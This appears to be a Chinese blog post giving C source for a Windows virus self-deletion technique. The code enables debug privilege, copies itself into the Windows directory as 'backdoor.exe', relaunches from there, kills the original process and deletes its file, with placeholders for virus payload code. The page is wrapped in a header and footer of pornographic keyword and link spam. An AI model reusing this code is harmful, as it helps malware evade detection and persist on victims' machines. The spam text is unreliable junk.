欧美三区_成人在线免费观看视频_欧美极品少妇xxxxⅹ免费视频_a级毛片免费播放_鲁一鲁中文字幕久久_亚洲一级特黄

另類病毒的自刪除方法

系統 1698 0

//? 調整權限

VOID DebugPrivilege()

{

??? HANDLE hToken = NULL;

???

??? BOOL bRet =OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

???

??? if ( bRet == TRUE )

??? {

??????? TOKEN_PRIVILEGES tp;

??????? tp.PrivilegeCount = 1;

???????LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

??????? tp.Privileges[0].Attributes= SE_PRIVILEGE_ENABLED;

???????AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

???????

??????? CloseHandle(hToken);

??? }

}

?

//? 獲得某進程的 PID

DWORD GetProcessId(char *szProcessName)

{

??? DWORD dwPid = 0;

??? BOOL bRet = 0;

??? PROCESSENTRY32 pe32 = { 0};

??? pe32.dwSize =sizeof(PROCESSENTRY32);

?

??? HANDLE hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

??? bRet = Process32First(hSnap,&pe32);

?

??? while ( bRet )

??? {

??????? if (strcmp(pe32.szExeFile, szProcessName) == 0 )

??????? {

??????????? break;

??????? }

??????? bRet =Process32Next(hSnap, &pe32);

??? }

?

??? dwPid =pe32.th32ProcessID;

??? return dwPid;

}

?

//? 結束某進程

VOID CloseProcess(DWORD dwPid)

{

??? HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);

??? TerminateProcess(hProcess,0);

??? CloseHandle(hProcess);

}

?

這幾個函數完成后,我們就來根據病毒的流程來完成病毒的主體代碼,代碼如下:

int main(int argc, char **argv)

{

??? // Windows 目錄

??? char szWinDir[MAX_PATH] ={ 0 };

??? //? 當前目錄

??? char szCurrDir[MAX_PATH] ={ 0 };

?

???GetWindowsDirectory(szWinDir, MAX_PATH);

??? GetModuleFileName(NULL,szCurrDir, MAX_PATH);

?

??? //? 獲取當前的目錄

??? int ch = '\\';

??? char *pFileName =strrchr(szCurrDir, ch);

??? int nLen =strlen(szCurrDir) - strlen(pFileName);

??? szCurrDir[nLen] = NULL;

?

??? if ( strcmp(szWinDir,szCurrDir) == 0 )

??? {

??????? //? 相同目錄

??????? //? 判斷參數個數

??????? //? 根據參數個數判斷是否需要刪除原病毒文件

??????? //? 如果病毒是開機自動啟動的話,不會帶有參數

??????? printf("argc = %d\r\n", argc);

??????? if ( argc == 2 )

??????? {

??????????? ch = '\\';

??????????? pFileName =strrchr(argv[1], ch);

??????????? pFileName ++;

???????????printf("pFileName = %s \r\n", pFileName);

??????????? DWORD dwPid =GetProcessId(pFileName);

??????????? printf("dwPid= %d \r\n", dwPid);

??????????? DebugPrivilege();

???????????CloseProcess(dwPid);

??????????? pFileName =argv[1];

???????????printf("pFileName = %s \r\n", pFileName);

??????????? Sleep(3000);

???????????DeleteFile(pFileName);

??????? }

??????? else

??????? {

??????????? //? 病毒的功能代碼

??????? }

??? }

??? else

??? {

??????? //? 不同目錄,說明是第一次運行

?

??????? //? 復制自身到 windows 目錄里下

??????? strcat(szWinDir,"\\backdoor.exe");

???????GetModuleFileName(NULL, szCurrDir, MAX_PATH);

??????? CopyFile(szCurrDir,szWinDir, FALSE);

?

??????? //? 構造要運行 windows 目錄下的病毒

??????? //? 以及要傳遞的自身位置

??????? strcat(szWinDir," \"");

??????? strcat(szWinDir,szCurrDir);

??????? strcat(szWinDir,"\"");

??????? printf("%s\r\n", szWinDir);

??????? WinExec(szWinDir, SW_SHOW);

??????? Sleep(1000);

??? }

?

??? // getch() 模擬病毒的動作

??? //? 保持病毒進程不退出

??? getch();

??? return 0;

}

另類病毒的自刪除方法


更多文章、技術交流、商務合作、聯系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦!!!

發表我的評論
最新評論 總共0條評論
主站蜘蛛池模板: 亚洲日韩欧美视频 | 国产精品久久久爽爽爽麻豆色哟哟 | 免费成人高清 | av影音资源| 91久久国产 | 亚洲视频在线视频 | 国产成人一区二区 | 亚洲日本在线观看视频 | 性福演算法 | 亚洲一区二区三区四区 | 天天操妹子 | 免费高清成人啪啪网站 | 精品国产三级 | 成人爽A毛片免费啪啪 | 日本高清一区二区三区不卡免费 | 久久久精品欧美 | 亚洲欧美在线视频 | 欧美综合自拍亚洲综合图片区 | 亚洲综合精品 | 国产日韩欧美一区二区 | 日韩精品一 | 日韩在线短视频 | 欧美成a高清在线观看www | 欧美精品38videos性欧美 | 日韩 第一页 | 天天人人 | 韩国三级午夜理伦三级三 | 欧美日韩亚洲一区 | 男女激情啪啪 | 久久久久国产成人精品亚洲午夜 | 日韩免费网站 | 一级黄色a视频 | 成人福利短视频 | 国产日韩一区二区三区 | 99热精品在线 | 欧美第一色 | 91精品久久久久久久久网影视 | 亚洲黄色一级大片 | 波多野结衣高清在线播放 | 人人做人人爽人人爱 | 精品久久网 |